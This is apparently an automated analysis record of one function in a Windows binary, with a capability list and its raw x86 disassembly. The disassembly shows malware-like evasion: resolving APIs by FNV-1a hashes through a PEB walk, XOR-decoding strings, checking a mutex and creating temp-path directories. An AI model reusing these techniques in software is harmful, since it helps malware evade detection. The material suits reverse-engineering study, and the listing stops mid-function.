Function at 0x485260
Capabilities:
Access peb ldr_data
Check mutex on windows
Check os version
Create directory
Create thread
Delete file
Encode data using xor
Get common file path
Get number of processors
Get process filename
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x141c
call fcn.00505c90
push ebx
push esi
push edi
push 0
mov dword [esp + 0x2c], 0
call fcn.00512ec9
add eax, dword [0x562b3c]
add esp, 4
push eax
call fcn.0050ab7e
add esp, 4
push 0x100
push 0
push 0x564e50
call fcn.00506f10
mov esi, dword [0x562b3c]
add esp, 0xc
mov ecx, 0x562b2c
call fcn.00402c10
push esi
push eax
push 0x564e50
call fcn.00506990
mov esi, dword [0x562b6c]
add esp, 0xc
mov ecx, 0x562b5c
call fcn.00402c10
push esi
push eax
push 0x564eb4
call fcn.00506990
add esp, 0xc
mov ecx, 0x562b2c
call fcn.00402c10
mov edi, eax
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x4852f5
mov ecx, 0x562b2c
sub edi, eax
call fcn.00402c10
push dword [esp + 0x50]
lea ecx, [esp + 0x994]
mov esi, eax
call fcn.00402c20
push edi
push esi
lea ecx, [esp + 0x998]
call fcn.00402c40
lea eax, [esp + 0x990]
mov ecx, 0x562b2c
push eax
call fcn.0048cb40
lea ecx, [esp + 0x990]
call fcn.00402ad0
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.004850a0
test al, al
jne 0x485368
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
call fcn.00512ec9
add esp, 4
push eax
call fcn.0050ab7e
xorps xmm0, xmm0
mov dword [esp + 0x3d6], 0xd7c4c2db
add esp, 4
mov dword [esp + 0x3e6], 0
movups xmmword [esp + 0x3d6], xmm0
mov word [esp + 0x3ea], 0
xor ecx, ecx
mov byte [esp + 0x3ec], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x3d2], al
inc ecx
cmp ecx, 4
jb 0x4853b0
lea eax, [esp + 0x3d2]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0x1024]
mov byte [esp + 0x3da], 0
call fcn.00402b70
lea ecx, [esp + 0x1020]
call fcn.00402c10
push 0
push eax
mov ecx, 0x562b74
call fcn.0048c7a0
lea ecx, [esp + 0x1020]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x48557a
call fcn.0041b540
test al, al
je 0x4854c2
mov eax, dword fs:[0x30]
mov dword [esp + 0x264], esi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x10], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x14], ecx
cmp ecx, esi
je 0x485499
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x485499
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x485492
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x485475
cmp esi, 0xe80fd3a
je 0x48549d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x485460
mov eax, dword [eax]
jmp 0x485432
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x264]
jmp 0x48556f
call fcn.0041b830
test al, al
jne 0x48557a
mov eax, dword fs:[0x30]
mov dword [esp + 0x268], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x48554b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x48554b
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x485544
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x485527
cmp esi, 0xe80fd3a
je 0x48554f
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x485512
mov eax, dword [eax]
jmp 0x4854e6
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x268]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
xorps xmm0, xmm0
mov dword [esp + 0x3b7], 0xd7c4c2db
movups xmmword [esp + 0x3bb], xmm0
mov dword [esp + 0x3cb], 0
xor ecx, ecx
mov word [esp + 0x3cf], 0
mov byte [esp + 0x3d1], 0
nop
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x3b7], al
inc ecx
cmp ecx, 4
jb 0x4855b0
lea eax, [esp + 0x3b7]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0x103c]
mov byte [esp + 0x3bf], 0
call fcn.00402b70
lea ecx, [esp + 0x1038]
call fcn.00402c10
push 0
push eax
mov ecx, 0x562b14
call fcn.0048c7a0
lea ecx, [esp + 0x1038]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x4856e9
call fcn.0041b870
mov bl, al
call fcn.0041b9a0
mov bh, al
call fcn.0041bf30
test bl, bl
jne 0x48563e
test bh, bh
jne 0x48563e
test al, al
jne 0x48563e
call fcn.0041b580
test al, al
je 0x4856e9
mov eax, dword fs:[0x30]
mov dword [esp + 0x26c], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x4856ba
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4856ba
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4856b3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x485696
cmp esi, 0xe80fd3a
je 0x4856be
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x485681
mov eax, dword [eax]
jmp 0x485655
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x26c]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
xorps xmm0, xmm0
mov dword [esp + 0x3ed], 0xd7c4c2db
movups xmmword [esp + 0x3f1], xmm0
mov dword [esp + 0x401], 0
xor ecx, ecx
mov word [esp + 0x405], 0
mov byte [esp + 0x407], 0
nop
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x3ed], al
inc ecx
cmp ecx, 4
jb 0x485720
lea eax, [esp + 0x3ed]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0x1054]
mov byte [esp + 0x3f5], 0
call fcn.00402b70
lea ecx, [esp + 0x1050]
call fcn.00402c10
push 0
push eax
mov ecx, 0x562c34
call fcn.0048c7a0
lea ecx, [esp + 0x1050]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x485786
lea ecx, [esi + 1]
call fcn.0041c3f0
xorps xmm0, xmm0
mov dword [esp + 0x408], 0xd7c4c2db
movups xmmword [esp + 0x40c], xmm0
mov dword [esp + 0x41c], 0
xor ecx, ecx
mov word [esp + 0x420], 0
mov byte [esp + 0x422], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x408], al
inc ecx
cmp ecx, 4
jb 0x4857c0
lea eax, [esp + 0x408]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0x106c]
mov byte [esp + 0x410], 0
call fcn.00402b70
lea ecx, [esp + 0x1068]
call fcn.00402c10
push 0
push eax
mov ecx, 0x562c1c
call fcn.0048c7a0
lea ecx, [esp + 0x1068]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x485823
call fcn.00421000
xorps xmm0, xmm0
mov dword [esp + 0x423], 0xd7c4c2db
movups xmmword [esp + 0x427], xmm0
mov dword [esp + 0x437], 0
xor ecx, ecx
mov word [esp + 0x43b], 0
mov byte [esp + 0x43d], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x423], al
inc ecx
cmp ecx, 4
jb 0x485860
lea eax, [esp + 0x423]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0xa24]
mov byte [esp + 0x42b], 0
call fcn.00402b70
lea ecx, [esp + 0xa20]
call fcn.00402c10
push 0
push eax
mov ecx, 0x562bbc
call fcn.0048c7a0
test eax, eax
lea ecx, [esp + 0xa20]
sete byte [esp + 0x27]
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0x129], 0xdadfd9d8
mov dword [esp + 0x12d], 0x98c5c0c7
xor ecx, ecx
mov word [esp + 0x131], 0xd4d3
mov byte [esp + 0x133], 0xd5
movups xmmword [esp + 0x134], xmm0
mov dword [esp + 0x144], 0
mov word [esp + 0x148], 0
mov byte [esp + 0x14a], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x129], al
inc ecx
cmp ecx, 0xb
jb 0x485911
lea eax, [esp + 0x129]
mov dword [0x565530], ecx
push eax
lea ecx, [esp + 0xa3c]
mov byte [esp + 0x138], 0
call fcn.00402b70
lea ecx, [esp + 0xa38]
call fcn.00402c10
mov ecx, dword fs:[0x30]
mov dword [esp + 0x270], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x14], esi
mov eax, dword [esi + 0x3c]
mov edx, dword [eax + esi + 0x78]
mov dword [esp + 0x18], edx
lea eax, [edx + esi]
mov dword [esp + 0x10], eax
cmp eax, esi
je 0x4859c9
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4859c9
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4859c2
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4859a5
cmp esi, 0x53b2070f
je 0x4859cd
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x485990
mov ecx, dword [ecx]
jmp 0x485964
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
push dword [esp + 0x270]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [esp + 0xa38]
mov esi, eax
call fcn.00402ad0
test esi, esi
je 0x4899c0
xorps xmm0, xmm0
mov dword [esp + 0xc3], 0xfbfff9f8
mov dword [esp + 0xc7], 0x98e1f1fd
xor ecx, ecx
mov word [esp + 0xcb], 0xf4f3
mov byte [esp + 0xcd], 0xf5
movups xmmword [esp + 0xce], xmm0
mov dword [esp + 0xde], 0
mov word [esp + 0xe2], 0
mov byte [esp + 0xe4], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0xc3], al
inc ecx
cmp ecx, 0xb
jb 0x485a60
lea eax, [esp + 0xc3]
mov dword [0x565530], ecx
push eax
lea ecx, [esp + 0xa54]
mov byte [esp + 0xd2], 0
call fcn.00402b70
lea ecx, [esp + 0xa50]
call fcn.00402c10
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.004a8370
lea ecx, [esp + 0xa50]
call fcn.00402ad0
xorps xmm0, xmm0
mov byte [esp + 0x6a8], 0x95
movups xmmword [esp + 0x6a9], xmm0
mov dword [esp + 0x6b9], 0
xor ecx, ecx
mov word [esp + 0x6bd], 0
mov byte [esp + 0x6bf], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x6a8], al
inc ecx
cmp ecx, 1
jb 0x485af0
lea eax, [esp + 0x6a8]
mov dword [0x565620], ecx
push eax
lea ecx, [esp + 0xa6c]
mov byte [esp + 0x6ad], 0
call fcn.00402b70
push 0
lea ecx, [esp + 0xa6c]
call fcn.00402c10
push eax
mov ecx, 0x562b5c
call fcn.0048c7a0
lea ecx, [esp + 0xa68]
mov esi, eax
call fcn.00402ad0
cmp esi, 0xffffffff
je 0x485c4a
xorps xmm0, xmm0
mov byte [esp + 0x6c0], 0x95
movups xmmword [esp + 0x6c1], xmm0
mov dword [esp + 0x6d1], 0
xor ecx, ecx
mov word [esp + 0x6d5], 0
mov byte [esp + 0x6d7], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x6c0], al
inc ecx
cmp ecx, 1
jb 0x485b85
lea eax, [esp + 0x6c0]
mov dword [0x565620], ecx
push eax
lea ecx, [esp + 0xa84]
mov byte [esp + 0x6c5], 0
call fcn.00402b70
sub esp, 0x18
lea ecx, [esp + 0xa98]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
sub esp, 0x18
mov ecx, esp
push 0x562b5c
call fcn.0048ccc0
lea ecx, [esp + 0x57c]
call fcn.0040e4f0
add esp, 0x30
lea ecx, [esp + 0xa80]
call fcn.00402ad0
lea ecx, [esp + 0x54c]
call fcn.0048b950
cmp eax, 2
jne 0x485c3e
push 1
lea ecx, [esp + 0x550]
call fcn.0048b930
push eax
mov ecx, 0x565068
call fcn.0048cb10
push 0
lea ecx, [esp + 0x550]
call fcn.0048b930
push eax
mov ecx, 0x562b5c
call fcn.0048cb10
lea ecx, [esp + 0x54c]
call fcn.0048ba40
push 0
push 0
push 0
push 0x4280e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x562abc], 0xffffffff
jne 0x485d19
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x485ce9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x485ce9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x485ce2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x485cc5
cmp esi, 0x2fa62ca8
je 0x485ced
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x485cb0
mov eax, dword [eax]
jmp 0x485c80
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x562abc], 0xffffffff
je 0x485c73
mov ecx, 0x104
lea eax, [esp + 0x1320]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x485d25
lea eax, [esp + 0x1320]
push eax
push 0xfc
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xd
lea ecx, [esp + 0x900]
call fcn.0040e850
xorps xmm0, xmm0
mov dword [esp + 0x364], 0xf3d3dfc5
mov byte [esp + 0x368], 0x80
xor ecx, ecx
movups xmmword [esp + 0x369], xmm0
mov dword [esp + 0x379], 0
mov word [esp + 0x37d], 0
mov byte [esp + 0x37f], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x364], al
inc ecx
cmp ecx, 5
jb 0x485d91
lea eax, [esp + 0x364]
mov dword [0x565544], ecx
push eax
lea ecx, [esp + 0xa9c]
mov byte [esp + 0x36d], 0
call fcn.00402b70
lea eax, [esp + 0x900]
push eax
lea ecx, [esp + 0xa9c]
call fcn.00402c10
push eax
lea ecx, [esp + 0x11a8]
call fcn.00402b70
push eax
lea edx, [esp + 0x1328]
lea ecx, [esp + 0x11c0]
call fcn.00490af0
add esp, 4
lea ecx, [esp + 0x11d4]
mov edx, eax
call fcn.00490bf0
add esp, 4
mov ecx, 0x562afc
push eax
call fcn.0048cb40
lea ecx, [esp + 0x11d0]
call fcn.00402ad0
lea ecx, [esp + 0x11b8]
call fcn.00402ad0
lea ecx, [esp + 0x11a0]
call fcn.00402ad0
lea ecx, [esp + 0xa98]
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0x348], 0xf3d3dfc5
mov byte [esp + 0x34c], 0x87
xor ecx, ecx
movups xmmword [esp + 0x34d], xmm0
mov dword [esp + 0x35d], 0
mov word [esp + 0x361], 0
mov byte [esp + 0x363], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x348], al
inc ecx
cmp ecx, 5
jb 0x485e85
lea eax, [esp + 0x348]
mov dword [0x565544], ecx
push eax
lea ecx, [esp + 0xab4]
mov byte [esp + 0x351], 0
call fcn.00402b70
lea eax, [esp + 0x900]
push eax
lea ecx, [esp + 0xab4]
call fcn.00402c10
push eax
lea ecx, [esp + 0x1178]
call fcn.00402b70
push eax
lea edx, [esp + 0x1328]
lea ecx, [esp + 0x1190]
call fcn.00490af0
add esp, 4
lea ecx, [esp + 0x70c]
mov edx, eax
call fcn.00490bf0
add esp, 4
lea ecx, [esp + 0x1188]
call fcn.00402ad0
lea ecx, [esp + 0x1170]
call fcn.00402ad0
lea ecx, [esp + 0xab0]
call fcn.00402ad0
mov ecx, 0x562afc
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x485f4b
push 0
mov dl, 1
mov ecx, 0x562afc
call fcn.0040e110
add esp, 4
lea ecx, [esp + 0x708]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x485f75
push 0
mov dl, 1
lea ecx, [esp + 0x70c]
call fcn.0040e110
add esp, 4
push 0
mov ecx, 0x562afc
call fcn.00402c10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x485fa6
mov ecx, 0x562afc
call fcn.0041deb0
test al, al
je 0x4896cc
push 0
lea ecx, [esp + 0x70c]
call fcn.00402c10
push eax
call esi
test eax, eax
jne 0x485fc7
lea ecx, [esp + 0x708]
call fcn.0041deb0
lea ecx, [esp + 0x708]
call fcn.00402c10
mov dword [esp + 0x274], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x48604b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x48604b
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486044
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486027
cmp esi, 0x7a5b9fa2
je 0x48604f
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486012
mov eax, dword [eax]
jmp 0x485fe6
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x274]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
lea eax, [esp + 0x708]
mov ecx, 0x562b8c
push eax
call fcn.0048cb10
call fcn.0041e3e0
test al, al
je 0x48632a
cmp byte [esp + 0x27], 0
jne 0x48632a
xorps xmm0, xmm0
mov dword [esp + 0x207], 0xc0d0c0dc
mov dword [esp + 0x20b], 0xd2dad9d8
xor ecx, ecx
movups xmmword [esp + 0x20f], xmm0
mov dword [esp + 0x21f], 0
mov word [esp + 0x223], 0
mov byte [esp + 0x225], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x207], al
inc ecx
cmp ecx, 8
jb 0x4860e4
lea eax, [esp + 0x207]
mov dword [0x565624], ecx
push eax
lea ecx, [esp + 0xacc]
mov byte [esp + 0x213], 0
call fcn.00402b70
push 0x562b2c
lea ecx, [esp + 0xacc]
call fcn.00402c10
mov edx, eax
lea ecx, [esp + 0x115c]
call fcn.00490a90
add esp, 4
mov ecx, eax
call fcn.00402c10
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [esp + 0x1158]
call fcn.00402ad0
lea ecx, [esp + 0xac8]
call fcn.00402ad0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4899a8
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call edi
xorps xmm0, xmm0
mov dword [esp + 0x245], 0xf1ffe6e7
mov dword [esp + 0x249], 0xdad9d09d
xor ecx, ecx
movups xmmword [esp + 0x24d], xmm0
mov dword [esp + 0x25d], 0
mov word [esp + 0x261], 0
mov byte [esp + 0x263], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x245], al
inc ecx
cmp ecx, 8
jb 0x4861c1
lea eax, [esp + 0x245]
mov dword [0x565624], ecx
push eax
lea ecx, [esp + 0xae4]
mov byte [esp + 0x251], 0
call fcn.00402b70
sub esp, 0x18
lea ecx, [esp + 0xaf8]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
call fcn.004285a0
add esp, 0x18
lea ecx, [esp + 0xae0]
call fcn.00402ad0
mov ecx, 0x565104
call fcn.0048b950
test eax, eax
je 0x486242
nop
push 0x65
call edi
mov ecx, 0x565104
call fcn.0048b950
test eax, eax
jne 0x486230
push 2
push dword [0x562abc]
mov byte [0x564e21], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x562abc]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop dword [eax]
mov eax, dword fs:[0x30]
mov dword [esp + 0x278], 0x3f5
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [esp + 0x14], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [esp + 0x10], ecx
cmp ecx, edx
je 0x4862f4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4862f4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x4862ed
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x4862d0
cmp esi, 0x2fa62ca8
je 0x4862f8
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x4862b7
mov eax, dword [eax]
jmp 0x486290
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
lea ecx, [esp + 0x278]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
jmp 0x486270
xorps xmm0, xmm0
mov byte [0x564e4b], 0
mov byte [esp + 0x6d8], 0xd3
xor ecx, ecx
movups xmmword [esp + 0x6d9], xmm0
mov dword [esp + 0x6e9], 0
mov word [esp + 0x6ed], 0
mov byte [esp + 0x6ef], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x6d8], al
inc ecx
cmp ecx, 1
jb 0x486363
lea eax, [esp + 0x6d8]
mov dword [0x565620], ecx
push eax
lea ecx, [esp + 0xafc]
mov byte [esp + 0x6dd], 0
call fcn.00402b70
lea ecx, [esp + 0xaf8]
call fcn.00402c10
lea ecx, [esp + 0x1128]
mov ebx, eax
call fcn.0040f4c0
push 0
push 0x43347f4e
mov edi, eax
call fcn.00408170
sub esp, 0x10
mov dword [esp + 0x28], eax
mov eax, dword [0x562abc]
lea ecx, [esp + 0x1158]
mov esi, esp
mov dword [esp + 0x2c], eax
mov edx, edi
push 0x562b2c
push ebx
call fcn.00490a30
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.00490bf0
mov edx, dword [esp + 0x2c]
add esp, 4
mov ecx, dword [esp + 0x2c]
call fcn.00427380
add esp, 0x18
lea ecx, [esp + 0x1140]
mov esi, eax
call fcn.00402ad0
lea ecx, [esp + 0x1128]
call fcn.00402ad0
lea ecx, [esp + 0xaf8]
call fcn.00402ad0
test esi, esi
jle 0x486505
cmp byte [0x564e4b], 0
jne 0x486505
nop
mov eax, dword fs:[0x30]
mov dword [esp + 0x27c], 0x64
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x4864c9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4864c9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
sub ebx, 4
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4864c2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4864a5
cmp esi, 0x2fa62ca8
je 0x4864cd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486490
mov eax, dword [eax]
jmp 0x486460
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x27c]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
cmp byte [0x564e4b], 0
je 0x486440
mov edx, 0x562ae4
lea ecx, [esp + 0x8b8]
call fcn.00423fb0
lea eax, [esp + 0x8b8]
push eax
lea ecx, [esp + 0x7b8]
call fcn.0048ccc0
cmp dword [0x562af4], 0
jne 0x4865c9
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
cmp dword [esp + 0x7c4], 0
jne 0x4865c9
mov edx, 0x562ae4
lea ecx, [esp + 0x1200]
call fcn.00423fb0
mov esi, eax
lea ecx, [esp + 0x8b8]
push esi
call fcn.0048cb40
lea eax, [esi + 0x18]
push eax
lea ecx, [esp + 0x8d4]
call fcn.0048cb40
lea ecx, [esp + 0x1218]
call fcn.00402ad0
lea ecx, [esp + 0x1200]
call fcn.00402ad0
lea eax, [esp + 0x8b8]
push eax
lea ecx, [esp + 0x7b8]
call fcn.0048cb10
push 0
push 0x43346bcf
call fcn.00408170
add esp, 8
push eax
call edi
cmp dword [0x562af4], 0
je 0x486540
mov ecx, 0x562ae4
call fcn.00402c10
push 0x54ca10
push eax
call fcn.00506580
add esp, 8
test eax, eax
je 0x486685
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x18]
push esi
lea ecx, [esp + 0x964]
call fcn.00402c20
push 1
push 0x54c830
lea ecx, [esp + 0x968]
call fcn.00402c40
push edi
lea ecx, [esp + 0x97c]
call fcn.00402c20
push 1
push 0x54ca10
lea ecx, [esp + 0x980]
